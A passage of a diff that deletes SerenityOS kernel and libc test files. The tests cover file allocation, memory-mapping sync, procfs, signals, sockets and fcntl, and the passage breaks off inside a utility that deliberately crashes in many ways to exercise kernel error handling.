auto result = Core::System::posix_fallocate(-1, 0, 1024);
EXPECT_EQ(result.is_error(), true);
EXPECT_EQ(result.error().code(), EBADF);
}
{
// Invalid length (-1)
auto result = Core::System::posix_fallocate(fd, 0, -1);
EXPECT_EQ(result.is_error(), true);
EXPECT_EQ(result.error().code(), EINVAL);
}
{
// Invalid length (0)
auto result = Core::System::posix_fallocate(fd, 0, 0);
EXPECT_EQ(result.is_error(), true);
EXPECT_EQ(result.error().code(), EINVAL);
}
{
// Invalid offset (-1)
auto result = Core::System::posix_fallocate(fd, -1, 1024);
EXPECT_EQ(result.is_error(), true);
EXPECT_EQ(result.error().code(), EINVAL);
}
MUST(Core::System::close(fd));
}
TEST_CASE(posix_fallocate_on_device_file)
{
auto fd = MUST(Core::System::open("/dev/zero"sv, O_RDWR));
VERIFY(fd >= 0);
auto result = Core::System::posix_fallocate(fd, 0, 100);
EXPECT_EQ(result.is_error(), true);
EXPECT_EQ(result.error().code(), ENODEV);
MUST(Core::System::close(fd));
}
TEST_CASE(posix_fallocate_on_pipe)
{
auto pipefds = MUST(Core::System::pipe2(0));
auto result = Core::System::posix_fallocate(pipefds[1], 0, 100);
EXPECT_EQ(result.is_error(), true);
EXPECT_EQ(result.error().code(), ESPIPE);
MUST(Core::System::close(pipefds[0]));
MUST(Core::System::close(pipefds[1]));
}

View file

@ -1,49 +0,0 @@
/*
* Copyright (c) 2022, Liav A. <liavalb@hotmail.co.il>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
static u8* private_ptr = nullptr;
static void private_non_empty_inode_vmobject_sync_signal_handler(int)
{
auto rc = msync(private_ptr, 0x1000, MS_ASYNC);
EXPECT(rc == 0);
rc = munmap(private_ptr, 0x1000);
EXPECT(rc == 0);
exit(0);
}
TEST_CASE(private_non_empty_inode_vmobject_sync)
{
{
struct sigaction new_action {
{ private_non_empty_inode_vmobject_sync_signal_handler }, 0, 0
};
int rc = sigaction(SIGBUS, &new_action, nullptr);
VERIFY(rc == 0);
}
u8 buf[0x1000];
memset(buf, 0, sizeof(buf));
int fd = open("/tmp/private_non_empty_msync_test", O_RDWR | O_CREAT, 0644);
VERIFY(fd >= 0);
auto rc = write(fd, buf, sizeof(buf));
VERIFY(rc == sizeof(buf));
private_ptr = (u8*)mmap(nullptr, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
EXPECT(private_ptr != MAP_FAILED);
rc = msync(private_ptr, 0x2000, MS_ASYNC);
EXPECT(rc == 0);
private_ptr[0x1001] = 0x1;
VERIFY_NOT_REACHED();
}

View file

@ -1,76 +0,0 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <cstring>
#include <sys/stat.h>
#include <unistd.h>
TEST_CASE(test_process_fd_readlink)
{
// Make sure that stdin, stdout and stderr are actually symlinks that point somewhere interesting
// Sadly we can't assume that they all point to the same file.
struct stat stat_buf = {};
struct stat lstat_buf = {};
auto rc = stat("/proc/self/fd/0", &stat_buf);
EXPECT_EQ(rc, 0);
rc = lstat("/proc/self/fd/0", &lstat_buf);
EXPECT_EQ(rc, 0);
EXPECT_NE(0, memcmp(&stat_buf, &lstat_buf, sizeof(struct stat)));
stat_buf = {};
lstat_buf = {};
rc = stat("/proc/self/fd/1", &stat_buf);
EXPECT_EQ(rc, 0);
rc = lstat("/proc/self/fd/1", &lstat_buf);
EXPECT_EQ(rc, 0);
EXPECT_NE(0, memcmp(&stat_buf, &lstat_buf, sizeof(struct stat)));
stat_buf = {};
lstat_buf = {};
rc = stat("/proc/self/fd/2", &stat_buf);
EXPECT_EQ(rc, 0);
rc = lstat("/proc/self/fd/2", &lstat_buf);
EXPECT_EQ(rc, 0);
EXPECT_NE(0, memcmp(&stat_buf, &lstat_buf, sizeof(struct stat)));
// Create a new file descriptor that is a dup of 0 with various big values in order to reproduce issue #7820.
// We should get the same link value for each fd that was duplicated.
char expected_link[MAXPATHLEN];
char buf[MAXPATHLEN];
// Read the symlink for stdin, stdout and stderr
auto link_length = readlink("/proc/self/fd/0", expected_link, sizeof(expected_link));
expected_link[link_length] = '\0';
// 255 is the first broken file descriptor that was discovered and might be used by other software (e.g. bash)
auto new_fd = dup2(0, 255);
EXPECT_EQ(new_fd, 255);
link_length = readlink("/proc/self/fd/255", buf, sizeof(buf));
buf[link_length] = '\0';
EXPECT_EQ(0, strcmp(buf, expected_link));
// 215 is the last fd before we have to encode the fd using more than one byte (due to the offset by FI_MaxStaticFileIndex)
new_fd = dup2(0, 215);
EXPECT_EQ(new_fd, 215);
link_length = readlink("/proc/self/fd/215", buf, sizeof(buf));
buf[link_length] = '\0';
EXPECT_EQ(0, strcmp(buf, expected_link));
// 216 is the first fd that is encoded using more than one byte
new_fd = dup2(0, 216);
EXPECT_EQ(new_fd, 216);
link_length = readlink("/proc/self/fd/216", buf, sizeof(buf));
buf[link_length] = '\0';
EXPECT_EQ(0, strcmp(buf, expected_link));
// 1023 is the largest possible file descriptor
new_fd = dup2(0, 1023);
EXPECT_EQ(new_fd, 1023);
link_length = readlink("/proc/self/fd/1023", buf, sizeof(buf));
buf[link_length] = '\0';
EXPECT_EQ(0, strcmp(buf, expected_link));
}

View file

@ -1,43 +0,0 @@
/*
* Copyright (c) 2021, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <unistd.h>
TEST_CASE(check_root)
{
auto uid = geteuid();
// This test only makes sense as root.
EXPECT_EQ(uid, 0u);
// Before we make the process dumpable, become "fully" root, so that the user cannot tamper with our memory:
EXPECT_EQ(setuid(0), 0);
// If running as setuid, the process is automatically marked as non-dumpable, which bars access to /proc/self/.
// However, that is the easiest guess for a /proc/$PID/ directory, so we'd like to use that.
// In order to do so, mark this process as dumpable:
EXPECT_EQ(prctl(PR_SET_DUMPABLE, 1, 0, 0), 0);
}
TEST_CASE(root_writes_to_procfs)
{
int fd = open("/proc/self/unveil", O_RDWR | O_APPEND | O_CREAT, 0666); // = 6
if (fd < 0) {
perror("open");
dbgln("fd was {}", fd);
FAIL("open failed?! See debugout");
return;
}
int rc = write(fd, "hello", 5);
perror("write");
dbgln("write rc = {}", rc);
if (rc >= 0) {
FAIL("Wrote successfully?!");
}
}

View file

@ -1,49 +0,0 @@
/*
* Copyright (c) 2022, Liav A. <liavalb@hotmail.co.il>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
static u8* shared_ptr = nullptr;
static void shared_non_empty_inode_vmobject_sync_signal_handler(int)
{
auto rc = msync(shared_ptr, 0x1000, MS_ASYNC);
EXPECT(rc == 0);
rc = munmap(shared_ptr, 0x1000);
EXPECT(rc == 0);
exit(0);
}
TEST_CASE(shared_non_empty_inode_vmobject_sync)
{
{
struct sigaction new_action {
{ shared_non_empty_inode_vmobject_sync_signal_handler }, 0, 0
};
int rc = sigaction(SIGBUS, &new_action, nullptr);
VERIFY(rc == 0);
}
u8 buf[0x1000];
memset(buf, 0, sizeof(buf));
int fd = open("/tmp/shared_non_empty_msync_test", O_RDWR | O_CREAT, 0644);
VERIFY(fd >= 0);
auto rc = write(fd, buf, sizeof(buf));
VERIFY(rc == sizeof(buf));
shared_ptr = (u8*)mmap(nullptr, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
EXPECT(shared_ptr != MAP_FAILED);
rc = msync(shared_ptr, 0x2000, MS_ASYNC);
EXPECT(rc == 0);
shared_ptr[0x1001] = 0x1;
VERIFY_NOT_REACHED();
}

View file

@ -1,57 +0,0 @@
/*
* Copyright (c) 2021, Idan Horowitz <idan.horowitz@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Platform.h>
#if defined(AK_COMPILER_CLANG)
# pragma clang optimize off
#else
# pragma GCC optimize("O0")
#endif
#include <LibTest/TestCase.h>
#include <signal.h>
#include <unistd.h>
static void signal_handler(int)
{
// We execute this syscall in order to force the kernel to perform the syscall precondition validation which
// checks that we have correctly set up the stack region to match our currently implemented protections.
getuid();
_exit(0);
}
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Winfinite-recursion"
static size_t infinite_recursion(size_t input)
{
return infinite_recursion(input) + 1;
}
#pragma GCC diagnostic pop
// This test can only pass with sigaltstack correctly enabled, as otherwise the SIGSEGV signal handler itself would also fault due to the overflown stack.
TEST_CASE(success_case)
{
static u8 alt_stack[SIGSTKSZ];
stack_t ss = {
.ss_sp = alt_stack,
.ss_flags = 0,
.ss_size = SIGSTKSZ,
};
auto res = sigaltstack(&ss, nullptr);
EXPECT_EQ(res, 0);
struct sigaction sa;
sa.sa_handler = signal_handler;
sa.sa_flags = SA_ONSTACK;
res = sigfillset(&sa.sa_mask);
EXPECT_EQ(res, 0);
res = sigaction(SIGSEGV, &sa, 0);
EXPECT_EQ(res, 0);
(void)infinite_recursion(0);
FAIL("Infinite recursion finished successfully");
}

View file

@ -1,78 +0,0 @@
/*
* Copyright (c) 2022, Tim Schumacher <timschumi@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <unistd.h>
static void signal_handler(int)
{
VERIFY_NOT_REACHED();
}
TEST_CASE(default_handlers)
{
struct sigaction current_action { };
int rc = sigaction(SIGUSR2, nullptr, &current_action);
EXPECT_EQ(rc, 0);
EXPECT_EQ(current_action.sa_handler, SIG_DFL);
}
TEST_CASE(handlers_after_fork)
{
struct sigaction new_action {
{ signal_handler }, 0, 0
};
int rc = sigaction(SIGUSR2, &new_action, nullptr);
EXPECT_EQ(rc, 0);
pid_t pid = fork();
if (pid == 0) {
struct sigaction current_action { };
rc = sigaction(SIGUSR2, nullptr, &current_action);
EXPECT_EQ(rc, 0);
EXPECT_EQ(current_action.sa_handler, signal_handler);
exit(rc == 0 && current_action.sa_handler == signal_handler ? EXIT_SUCCESS : EXIT_FAILURE);
} else {
int exit_status = 0;
rc = waitpid(pid, &exit_status, 0);
EXPECT_EQ(rc, pid);
EXPECT(WIFEXITED(exit_status));
EXPECT_EQ(WEXITSTATUS(exit_status), 0);
}
}
TEST_CASE(handlers_after_exec)
{
struct sigaction new_action {
{ signal_handler }, 0, 0
};
int rc = sigaction(SIGUSR2, &new_action, nullptr);
EXPECT_EQ(rc, 0);
pid_t pid = fork();
if (pid == 0) {
// Hide the confusing "Running 1 cases out of 3" output.
freopen("/dev/null", "w", stdout);
// This runs the 'default_handlers' test in this binary again, but after exec.
execl("/proc/self/exe", "TestSigHandler", "default_handlers", nullptr);
FAIL("Failed to exec.");
} else {
int exit_status = 0;
rc = waitpid(pid, &exit_status, 0);
EXPECT_EQ(rc, pid);
EXPECT(WIFEXITED(exit_status));
EXPECT_EQ(WEXITSTATUS(exit_status), 0);
}
}

View file

@ -1,179 +0,0 @@
/*
* Copyright (c) 2021, Idan Horowitz <idan.horowitz@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <signal.h>
#include <time.h>
#include <unistd.h>
TEST_CASE(sigwait)
{
sigset_t mask;
int rc = sigemptyset(&mask);
EXPECT_EQ(rc, 0);
rc = sigaddset(&mask, SIGUSR1);
EXPECT_EQ(rc, 0);
rc = sigprocmask(SIG_BLOCK, &mask, nullptr);
EXPECT_EQ(rc, 0);
int child_pid = fork();
EXPECT(child_pid >= 0);
if (child_pid == 0) {
sleep(1);
kill(getppid(), SIGUSR1);
exit(EXIT_SUCCESS);
} else {
int sig;
rc = sigwait(&mask, &sig);
EXPECT_EQ(rc, 0);
EXPECT_EQ(sig, SIGUSR1);
}
// cancel pending signal
struct sigaction act_ignore = { { SIG_IGN }, 0, 0 };
rc = sigaction(SIGUSR1, &act_ignore, nullptr);
EXPECT_EQ(rc, 0);
rc = sigprocmask(SIG_UNBLOCK, &mask, nullptr);
EXPECT_EQ(rc, 0);
struct sigaction act_default = { { SIG_DFL }, 0, 0 };
rc = sigaction(SIGUSR1, &act_default, nullptr);
EXPECT_EQ(rc, 0);
sigset_t pending;
rc = sigpending(&pending);
EXPECT_EQ(rc, 0);
EXPECT_EQ(pending, 0u);
}
TEST_CASE(sigwaitinfo)
{
sigset_t mask;
int rc = sigemptyset(&mask);
EXPECT_EQ(rc, 0);
rc = sigaddset(&mask, SIGUSR1);
EXPECT_EQ(rc, 0);
rc = sigprocmask(SIG_BLOCK, &mask, nullptr);
EXPECT_EQ(rc, 0);
int child_pid = fork();
EXPECT(child_pid >= 0);
if (child_pid == 0) {
sleep(1);
kill(getppid(), SIGUSR1);
exit(EXIT_SUCCESS);
} else {
siginfo_t info;
rc = sigwaitinfo(&mask, &info);
EXPECT_EQ(rc, SIGUSR1);
EXPECT_EQ(info.si_signo, SIGUSR1);
}
// cancel pending signal
struct sigaction act_ignore = { { SIG_IGN }, 0, 0 };
rc = sigaction(SIGUSR1, &act_ignore, nullptr);
EXPECT_EQ(rc, 0);
rc = sigprocmask(SIG_UNBLOCK, &mask, nullptr);
EXPECT_EQ(rc, 0);
struct sigaction act_default = { { SIG_DFL }, 0, 0 };
rc = sigaction(SIGUSR1, &act_default, nullptr);
EXPECT_EQ(rc, 0);
sigset_t pending;
rc = sigpending(&pending);
EXPECT_EQ(rc, 0);
EXPECT_EQ(pending, 0u);
}
TEST_CASE(sigtimedwait_normal)
{
sigset_t mask;
int rc = sigemptyset(&mask);
EXPECT_EQ(rc, 0);
rc = sigaddset(&mask, SIGUSR1);
EXPECT_EQ(rc, 0);
rc = sigprocmask(SIG_BLOCK, &mask, nullptr);
EXPECT_EQ(rc, 0);
int child_pid = fork();
EXPECT(child_pid >= 0);
if (child_pid == 0) {
sleep(1);
kill(getppid(), SIGUSR1);
exit(EXIT_SUCCESS);
} else {
siginfo_t info;
struct timespec timeout = { .tv_sec = 2, .tv_nsec = 0 };
rc = sigtimedwait(&mask, &info, &timeout);
EXPECT_EQ(rc, SIGUSR1);
EXPECT_EQ(info.si_signo, SIGUSR1);
}
// cancel pending signal
struct sigaction act_ignore = { { SIG_IGN }, 0, 0 };
rc = sigaction(SIGUSR1, &act_ignore, nullptr);
EXPECT_EQ(rc, 0);
rc = sigprocmask(SIG_UNBLOCK, &mask, nullptr);
EXPECT_EQ(rc, 0);
struct sigaction act_default = { { SIG_DFL }, 0, 0 };
rc = sigaction(SIGUSR1, &act_default, nullptr);
EXPECT_EQ(rc, 0);
sigset_t pending;
rc = sigpending(&pending);
EXPECT_EQ(rc, 0);
EXPECT_EQ(pending, 0u);
}
TEST_CASE(sigtimedwait_poll)
{
sigset_t mask;
int rc = sigemptyset(&mask);
EXPECT_EQ(rc, 0);
rc = sigaddset(&mask, SIGUSR1);
EXPECT_EQ(rc, 0);
rc = sigprocmask(SIG_BLOCK, &mask, nullptr);
EXPECT_EQ(rc, 0);
struct timespec poll_timeout = { .tv_sec = 0, .tv_nsec = 0 };
rc = sigtimedwait(&mask, nullptr, &poll_timeout);
EXPECT_EQ(rc, -1);
EXPECT_EQ(errno, EAGAIN);
kill(getpid(), SIGUSR1);
siginfo_t info;
rc = sigtimedwait(&mask, &info, &poll_timeout);
EXPECT_EQ(rc, SIGUSR1);
EXPECT_EQ(info.si_signo, SIGUSR1);
// cancel pending signal
struct sigaction act_ignore = { { SIG_IGN }, 0, 0 };
rc = sigaction(SIGUSR1, &act_ignore, nullptr);
EXPECT_EQ(rc, 0);
rc = sigprocmask(SIG_UNBLOCK, &mask, nullptr);
EXPECT_EQ(rc, 0);
struct sigaction act_default = { { SIG_DFL }, 0, 0 };
rc = sigaction(SIGUSR1, &act_default, nullptr);
EXPECT_EQ(rc, 0);
sigset_t pending;
rc = sigpending(&pending);
EXPECT_EQ(rc, 0);
EXPECT_EQ(pending, 0u);
}
TEST_CASE(sigtimedwait_timeout)
{
sigset_t mask;
int rc = sigemptyset(&mask);
EXPECT_EQ(rc, 0);
rc = sigaddset(&mask, SIGUSR1);
EXPECT_EQ(rc, 0);
struct timespec timeout = { .tv_sec = 1, .tv_nsec = 0 };
rc = sigtimedwait(&mask, nullptr, &timeout);
EXPECT_EQ(rc, -1);
EXPECT_EQ(errno, EAGAIN);
}

View file

@ -1,172 +0,0 @@
/*
* Copyright (c) 2023, Idan Horowitz <idan.horowitz@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/JsonArray.h>
#include <LibCore/File.h>
#include <LibTest/TestCase.h>
#include <netinet/in.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/socket.h>
static constexpr u16 port = 1337;
static void* server_handler(void* accept_semaphore)
{
int server_fd = socket(AF_INET, SOCK_STREAM, 0);
EXPECT(server_fd >= 0);
sockaddr_in sin {};
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
int rc = bind(server_fd, (sockaddr*)(&sin), sizeof(sin));
EXPECT_EQ(rc, 0);
rc = listen(server_fd, 1);
EXPECT_EQ(rc, 0);
rc = sem_post(reinterpret_cast<sem_t*>(accept_semaphore));
VERIFY(rc == 0);
int client_fd = accept(server_fd, nullptr, nullptr);
EXPECT(client_fd >= 0);
u8 data;
int nread = recv(client_fd, &data, sizeof(data), 0);
EXPECT_EQ(nread, 1);
EXPECT_EQ(data, 'A');
rc = close(client_fd);
EXPECT_EQ(rc, 0);
rc = close(server_fd);
EXPECT_EQ(rc, 0);
pthread_exit(nullptr);
VERIFY_NOT_REACHED();
}
static pthread_t start_tcp_server()
{
pthread_t thread;
sem_t accept_semaphore;
int rc = sem_init(&accept_semaphore, 0, 0);
VERIFY(rc == 0);
rc = pthread_create(&thread, nullptr, server_handler, &accept_semaphore);
VERIFY(rc == 0);
rc = sem_wait(&accept_semaphore);
VERIFY(rc == 0);
rc = sem_destroy(&accept_semaphore);
VERIFY(rc == 0);
return thread;
}
TEST_CASE(tcp_sendto)
{
pthread_t server = start_tcp_server();
int client_fd = socket(AF_INET, SOCK_STREAM, 0);
EXPECT(client_fd >= 0);
sockaddr_in sin {};
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
int rc = connect(client_fd, (sockaddr*)(&sin), sizeof(sin));
EXPECT_EQ(rc, 0);
u8 data = 'A';
sockaddr_in dst {};
dst.sin_family = AF_INET;
dst.sin_port = htons(port + 1); // Different port, should be ignored
dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
int nwritten = sendto(client_fd, &data, sizeof(data), 0, (sockaddr*)(&dst), sizeof(dst));
EXPECT_EQ(nwritten, 1);
rc = close(client_fd);
EXPECT_EQ(rc, 0);
rc = pthread_join(server, nullptr);
EXPECT_EQ(rc, 0);
}
TEST_CASE(tcp_bind_connect)
{
pthread_t server = start_tcp_server();
int client_fd = socket(AF_INET, SOCK_STREAM, 0);
EXPECT(client_fd >= 0);
sockaddr_in sin {};
sin.sin_family = AF_INET;
sin.sin_port = htons(port - 1);
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
int rc = bind(client_fd, (sockaddr*)(&sin), sizeof(sin));
EXPECT_EQ(rc, 0);
sockaddr_in dst {};
dst.sin_family = AF_INET;
dst.sin_port = htons(port);
dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
rc = connect(client_fd, (sockaddr*)(&dst), sizeof(dst));
EXPECT_EQ(rc, 0);
u8 data = 'A';
int nwritten = send(client_fd, &data, sizeof(data), 0);
EXPECT_EQ(nwritten, 1);
rc = close(client_fd);
EXPECT_EQ(rc, 0);
rc = pthread_join(server, nullptr);
EXPECT_EQ(rc, 0);
// Hacky check to make sure there are no registered TCP sockets, if the sockets were closed properly, there should
// be none left, but if the early-bind caused a desync in sockets_by_tuple a UAF'd socket will be left in there.
// NOTE: We have to loop since the TimedWait stage during socket close means the socket might not close immediately
// after our close(2) call. This also means that on failure we will loop here forever.
while (true) {
auto file = MUST(Core::File::open("/sys/kernel/net/tcp"sv, Core::File::OpenMode::Read));
auto file_contents = MUST(file->read_until_eof());
auto json = MUST(JsonValue::from_string(file_contents));
EXPECT(json.is_array());
if (json.as_array().size() == 0)
return;
sched_yield();
}
}
TEST_CASE(socket_connect_after_bind)
{
unlink("/tmp/tmp-client.test");
unlink("/tmp/tmp.test");
int fd = socket(AF_UNIX, SOCK_STREAM, 0);
EXPECT(fd >= 0);
struct sockaddr_un addr {
.sun_family = AF_UNIX,
.sun_path = "/tmp/tmp-client.test",
};
int bound = bind(fd, (struct sockaddr*)&addr, sizeof(addr));
EXPECT_NE(bound, -1);
struct sockaddr_un server_sockaddr {
.sun_family = AF_UNIX,
.sun_path = "/tmp/tmp.test",
};
int connected = connect(fd, (struct sockaddr*)&server_sockaddr, sizeof(server_sockaddr));
EXPECT_EQ(connected, -1);
int closed = close(fd);
EXPECT_EQ(closed, 0);
unlink("/tmp/tmp-client.test");
unlink("/tmp/tmp.test");
}

View file

@ -1,41 +0,0 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Assertions.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
int main(int, char**)
{
constexpr char const* path = "/tmp/foo";
int rc = symlink("bar", path);
if (rc < 0) {
perror("symlink");
return 1;
}
int fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd < 0) {
perror("socket");
return 1;
}
struct sockaddr_un addr;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
VERIFY(strlcpy(addr.sun_path, path, sizeof(addr.sun_path)) < sizeof(addr.sun_path));
rc = bind(fd, (struct sockaddr*)(&addr), sizeof(addr));
if (rc < 0 && errno == EADDRINUSE) {
printf("PASS\n");
return 0;
}
return 1;
}

View file

@ -1,26 +0,0 @@
/*
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
int main(int, char**)
{
int rc = fcntl(0, -42);
if (rc != -1) {
printf("FAIL: rc was %d, instead of -1\n", rc);
return 1;
} else if (errno != EINVAL) {
printf("FAIL: errno was %d, instead of EINVAL=%d\n", errno, EINVAL);
return 1;
} else {
printf("PASS\n");
}
return 0;
}

View file

@ -1,348 +0,0 @@
/*
* Copyright (c) 2018-2020, Andreas Kling <kling@serenityos.org>
* Copyright (c) 2019-2020, Shannon Booth <shannon@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Assertions.h>
#include <AK/ByteString.h>
#include <AK/Function.h>
#if ARCH(X86_64)
# include <Kernel/Arch/x86_64/IO.h>
#endif
#include <LibCore/ArgsParser.h>
#include <LibCore/EventReceiver.h>
#include <LibTest/CrashTest.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <syscall.h>
#include <unistd.h>
using Test::Crash;
#if defined(AK_COMPILER_CLANG)
# pragma clang optimize off
#else
# pragma GCC optimize("O0")
#endif
int main(int argc, char** argv)
{
Vector<StringView> arguments;
arguments.ensure_capacity(argc);
for (auto i = 0; i < argc; ++i)
arguments.append({ argv[i], strlen(argv[i]) });
bool do_all_crash_types = false;
bool do_segmentation_violation = false;
bool do_division_by_zero = false;
bool do_illegal_instruction = false;
bool do_abort = false;
bool do_write_to_uninitialized_malloc_memory = false;
bool do_write_to_freed_memory = false;
bool do_write_to_read_only_memory = false;
bool do_read_from_uninitialized_malloc_memory = false;
bool do_read_from_freed_memory = false;
bool do_invalid_stack_pointer_on_syscall = false;
bool do_invalid_stack_pointer_on_page_fault = false;
bool do_syscall_from_writeable_memory = false;
bool do_legitimate_syscall = false;
bool do_execute_non_executable_memory = false;
bool do_trigger_user_mode_instruction_prevention = false;
#if ARCH(X86_64)
bool do_use_io_instruction = false;
#endif
bool do_pledge_violation = false;
bool do_failing_assertion = false;
bool do_deref_null_refptr = false;
auto args_parser = Core::ArgsParser();
args_parser.set_general_help(
"Exercise error-handling paths of the execution environment "
"(i.e., Kernel or UE) by crashing in many different ways.");
args_parser.add_option(do_all_crash_types, "Test that all (except -U) of the following crash types crash as expected (default behavior)", nullptr, 'A');
args_parser.add_option(do_segmentation_violation, "Perform a segmentation violation by dereferencing an invalid pointer", nullptr, 's');
args_parser.add_option(do_division_by_zero, "Perform a division by zero", nullptr, 'd');
args_parser.add_option(do_illegal_instruction, "Execute an illegal CPU instruction", nullptr, 'i');
args_parser.add_option(do_abort, "Call `abort()`", nullptr, 'a');
args_parser.add_option(do_read_from_uninitialized_malloc_memory, "Read a pointer from uninitialized malloc memory, then read from it", nullptr, 'm');
args_parser.add_option(do_read_from_freed_memory, "Read a pointer from memory freed using `free()`, then read from it", nullptr, 'f');
args_parser.add_option(do_write_to_uninitialized_malloc_memory, "Read a pointer from uninitialized malloc memory, then write to it", nullptr, 'M');
args_parser.add_option(do_write_to_freed_memory, "Read a pointer from memory freed using `free()`, then write to it", nullptr, 'F');
args_parser.add_option(do_write_to_read_only_memory, "Write to read-only memory", nullptr, 'r');
args_parser.add_option(do_invalid_stack_pointer_on_syscall, "Make a syscall while using an invalid stack pointer", nullptr, 'T');
args_parser.add_option(do_invalid_stack_pointer_on_page_fault, "Trigger a page fault while using an invalid stack pointer", nullptr, 't');
args_parser.add_option(do_syscall_from_writeable_memory, "Make a syscall from writeable memory", nullptr, 'S');
args_parser.add_option(do_legitimate_syscall, "Make a syscall from legitimate memory (but outside syscall-code mapped region)", nullptr, 'y');
args_parser.add_option(do_execute_non_executable_memory, "Attempt to execute non-executable memory (not mapped with PROT_EXEC)", nullptr, 'X');
args_parser.add_option(do_trigger_user_mode_instruction_prevention, "Attempt to trigger an x86 User Mode Instruction Prevention fault. WARNING: This test runs only when invoked manually, see #10042.", nullptr, 'U');
#if ARCH(X86_64)
args_parser.add_option(do_use_io_instruction, "Use an x86 I/O instruction in userspace", nullptr, 'I');
#endif
args_parser.add_option(do_pledge_violation, "Violate pledge()'d promises", nullptr, 'p');
args_parser.add_option(do_failing_assertion, "Perform a failing assertion", nullptr, 'n');
args_parser.add_option(do_deref_null_refptr, "Dereference a null RefPtr", nullptr, 'R');
if (argc == 1) {
do_all_crash_types = true;
} else if (argc != 2) {
args_parser.print_usage(stderr, arguments[0]);
exit(1);
}
args_parser.parse(arguments);
Crash::RunType run_type = do_all_crash_types ? Crash::RunType::UsingChildProcess
: Crash::RunType::UsingCurrentProcess;
bool any_failures = false;
if (do_segmentation_violation || do_all_crash_types) {
any_failures |= !Crash("Segmentation violation", []() {
int volatile* crashme = nullptr;
*crashme = 0xbeef;
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_division_by_zero || do_all_crash_types) {
any_failures |= !Crash("Division by zero", []() {
int volatile lala = 10;
int volatile zero = 0;
[[maybe_unused]] int volatile test = lala / zero;
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_illegal_instruction || do_all_crash_types) {
any_failures |= !Crash("Illegal instruction", []() {
__builtin_trap();
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_abort || do_all_crash_types) {
any_failures |= !Crash("Abort", []() {
abort();
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_read_from_uninitialized_malloc_memory || do_all_crash_types) {
any_failures |= !Crash("Read from uninitialized malloc memory", []() {
auto* uninitialized_memory = (u32 volatile**)malloc(1024);
if (!uninitialized_memory)
return Crash::Failure::UnexpectedError;
[[maybe_unused]] auto volatile x = uninitialized_memory[0][0];
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_read_from_freed_memory || do_all_crash_types) {
any_failures |= !Crash("Read from freed memory", []() {
auto* uninitialized_memory = (u32 volatile**)malloc(1024);
if (!uninitialized_memory)
return Crash::Failure::UnexpectedError;
free(uninitialized_memory);
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wuse-after-free"
[[maybe_unused]] auto volatile x = uninitialized_memory[4][0];
#pragma GCC diagnostic pop
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_write_to_uninitialized_malloc_memory || do_all_crash_types) {
any_failures |= !Crash("Write to uninitialized malloc memory", []() {
auto* uninitialized_memory = (u32 volatile**)malloc(1024);
if (!uninitialized_memory)
return Crash::Failure::UnexpectedError;
uninitialized_memory[4][0] = 1;
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_write_to_freed_memory || do_all_crash_types) {
any_failures |= !Crash("Write to freed memory", []() {
auto* uninitialized_memory = (u32 volatile**)malloc(1024);
if (!uninitialized_memory)
return Crash::Failure::UnexpectedError;
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wuse-after-free"
free(uninitialized_memory);
uninitialized_memory[4][0] = 1;
#pragma GCC diagnostic pop
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_write_to_read_only_memory || do_all_crash_types) {
any_failures |= !Crash("Write to read only memory", []() {
auto* ptr = (u8*)mmap(nullptr, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, 0, 0);
if (ptr == MAP_FAILED)
return Crash::Failure::UnexpectedError;
*ptr = 'x'; // This should work fine.
